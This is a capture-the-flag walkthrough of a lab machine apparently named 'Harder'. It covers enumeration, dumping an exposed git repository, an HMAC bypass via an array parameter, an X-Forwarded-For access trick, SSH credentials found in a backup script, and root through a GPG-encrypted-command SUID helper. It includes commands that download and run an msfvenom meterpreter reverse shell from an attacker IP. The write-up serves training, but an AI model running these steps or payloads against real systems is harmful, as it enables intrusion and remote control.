The machine is completely inspired by real world pentest findings. Perhaps you will consider them very challenging but without any rabbit holes. Once you have a shell it is very important to know which underlying linux distribution is used and where certain configurations are located.
Hints to the initial foodhold: Look closely at every request. Re-scan all newly found web services/folders and may use some wordlists from seclists (https://tools.kali.org/password-attacks/seclists). Read the source with care.
Edit: There is a second way to get root access without using any key...are you able to spot the bug?
Enumeration
2/tcp open compressnet syn-ack ttl 61
22/tcp open ssh syn-ack ttl 60
80/tcp open http syn-ack ttl 60
We have a few ports open, port 2 is interesting. We can use nmap and start enumerating these further:
2/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f8:8c:1e:07:1d:f3:de:8a:01:f1:50:51:e4:e6:00:fe (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEFmFCa+IH2JigaT+Z8eV8W3N0cSDkslS33rwJ1tptuG0IvY5mvhC/bYiNO9vTigCiTgkHXKiFp0Kog0kiPPzihW3PU8HSpQHuSAH27vRsKR9mHY24rj7PA2mPxjObkD6PqS4Yq2YVK6BKV3RY+dYIIe0nbqFNyB/QiK7+EXXHrQLnboMy35uXfM2vy02XJxDRlhd/lyepiMXWVdTo2LHgnjL8bl9oiRzIYEtYzXg7jQErNamPwes4fqokd4Di+ma5zmeCxYfu+75/E49gvQEwwUUWJNbjAokOe8XKUwZsJsoUcJAMqn/gk0HAVZ4rdHqziWTYIGSsNeTJHyX7vB3r
| 256 e6:5d:ea:6c:83:86:20:de:f0:f0:3a:1e:5f:7d:47:b5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJtXi31P1Ad+O7K71zZTGscq53c+5mUQTA/KxVNEc1Xm3I/7ubkunbVoR4MWt5v4SrYZnVB7iUbjXWiwmzRnwOw=
| 256 e9:ef:d3:78:db:9c:47:20:7e:62:82:9d:8f:6f:45:6a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKRvDffPpS8dq2oJcYvNPU2NzZtjbVppVt1wM8Y52P/i
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 4096 cf:e2:d9:27:d2:d9:f3:f7:8e:5d:d2:f9:9d:a4:fb:66 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCns4FcsZGpefUl1pFm7KRPBXz7nIQ590yiEd6aNm6DEKKVQOUUT4TtSEpCaUhnDU/+XHFBJfXdm73tzEwCgN7fyxmXSCWDWu1tC1zui3CA/sr/g5k+Az0u1yTvoc3eUSByeGvVyShubpuCB5Mwa2YZJxiHu/WzFrtDbGIGiVcQgLJTXdXE+aK7hbsx6T9HMJpKEnneRvLY4WT6ZNjw8kfp6oHMFvz/lnDffyWMNxn9biQ/pSkZHOsBzLcAfAYXIp6710byAWGwuZL2/d6Yq1jyLY3bic6R7HGVWEX6VDcrxAeED8uNHF8kPqh46dFkyHekOOye6TnALXMZ/uo3GSvrJd1OWx2kZ1uPJWOl2bKj1aVKKsLgAsmrrRtG1KWrZZDqpxm/iUerlJzAl3YdLxyqXnQXvcBNHR6nc4js+bJwTPleuCOUVvkS1QWkljSDzJ878AKBDBxVLcFI0vCiIyUm065lhgTiPf0+v4Et4IQ7PlAZLjQGlttKeaI54MZQPM53JPdVqASlVTChX7689Wm94//boX4/YlyWJ0EWz/a0yrwifFK/fHJWXYtQiQQI02gPzafIy7zI6bO3N7CCkWdTbBPmX+zvw9QcjCxaq1T+L/v04oi0K1StQlCUTE12M4fMeO/HfAQYCRm6tfue2BlAriIomF++Bh4yO73z3YeNuQ==
| 256 1e:45:7b:0a:b5:aa:87:e6:1b:b1:b7:9f:5d:8f:85:70 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB+INGLWU0nf9OkPJkFoW9Gx2tdNEjLVXHrtZg17ALjH
80/tcp open http syn-ack ttl 60 nginx 1.18.0
|_http-title: Error
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
We can start by looking into the service on port 80 as we don’t have credentials yet. We are immediately greeted by a 404:
We can start looking into other directories using gobuster. Since we aren’t actually given a 404, we need to exclude lengths:
sudo gobuster dir --url http://harder.thm/ --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --exclude-length 1985 --wildcard
We still don’t find much besides some 403 pages. Let’s try burpsuite and see what else we can find:
Our response from a 404 has a domain listed, we can try adding this and enumerating further:
We have a password manager but we need a login
Foothold
Our next step should be logging in, as hinted we likely need to bruteforce our way in. We do also know this is a git box from the box’s tags but we could also bruteforce this as per earlier and find this too. We can use tools like git dumper to download the repo to our local machine:
https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh
We run it using:
./gitdumper.sh http://pwd.harder.local/.git/ ./out
We should have the entire git directory copied to our out
directory:
We can start enumerating the source code using git checkout .
and see there’s a few files not being included:
We can start walking through the application, we have the hmac.php
file which explains what each status code is used for:
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
header('HTTP/1.0 400 Bad Request');
print("missing get parameter");
die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
$secret = hash_hmac('sha256', $_GET['n'], $secret);
}
$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
header('HTTP/1.0 403 Forbidden');
print("extra security check failed");
die();
}
?>
We see we get a 400 if we don’t specify a host while trying to log in. We need to generate a valid hash from the information we’ve already got. Our first hash (assigned to $secret) is created by hashing the value of n
and $secret
from secret.php
which we don’t have access to. There is a similar piece of source code from an older challenge that explains how we can bypass this:
https://www.securify.nl/en/blog/spot-the-bug-challenge-2018-warm-up/
If we pass the n parameter as an array, we can bypass the use of the secret variable, making the condition true. We also need a hash, we can generator this using our own php:
php -r "echo hash_hmac('sha256', 'pwd.harder.local', false);"
Our final URL looks like this:
http://pwd.harder.local?n[]=&h=5b622e20b29bdbcb0a4881f1d117d20a33a1f78a3c07ba85645567607e75cedf&host=pwd.harder.local
After doing so, we get a table with the following login:
url | username | password (cleartext) |
---|---|---|
http://shell.harder.local | evs | 9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm |
We add the new sub domain to our /etc/hosts
and login:
We can login however can’t access the shell. We need to enumerate this too. We can capture the request and try setting the x-forwarded-for
header and see if this works:
As expected, we login:
We still need to set the flag when sending commands so keep burpsuite running. We will need an actual shell so we can pop a shell using:
wget http://10.2.96.144:8000/rev
chmod +x ./rev && ./rev
Where rev
is a meterpreter shell:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.2.96.144 LPORT=4443 -f elf > rev
User own
We can start enumerating our environment a find a backup script:
find / -type f -user www 2>/dev/null
This leads us to the following:
/etc/periodic/15min/evs-backup.sh
#!/bin/ash
# ToDo: create a backup script, that saves the /www directory to our internal server
# for authentication use ssh with user "evs" and password "U6j1brxGqbsUA$pMuIodnb$SZB4$bw14"
We can use the credentials to ssh (on port 22, not 2) as evs and grab the user flag:
As expected, we are in a container:
We can start enumerating further and find an SUID via:
find / -type f -user root -perm -u=s 2>/dev/null
/usr/local/bin/execute-crypted
Easily enough, we can run strings and find another script that could help us:
#!/bin/sh
if [ $# -eq 0 ]
then
echo -n "[*] Current User: ";
whoami;
echo "[-] This program runs only commands which are encypted for root@harder.local using gpg."
echo "[-] Create a file like this: echo -n whoami > command"
echo "[-] Encrypt the file and run the command: execute-crypted command.gpg"
else
export GNUPGHOME=/root/.gnupg/
gpg --decrypt --no-verbose "$1" | ash
fi
This explains how how to the program runs, we can enumerate the box some more and find a backup of the public key in the /var
directory:
gpg --import /var/backup/root@harder.local.pub
This doesn’t need a password so we don’t need to worry about that. Our next step should be to try and run commands. We’re told we need to create a file with our command:
echo -n "cat /root/root.txt" > command
gpg -r 6F99621E4D64B6AFCE56E864C91D6615944F6874 --encrypt command
execute-crypted command.gpg
Our command runs and we are returned the flag.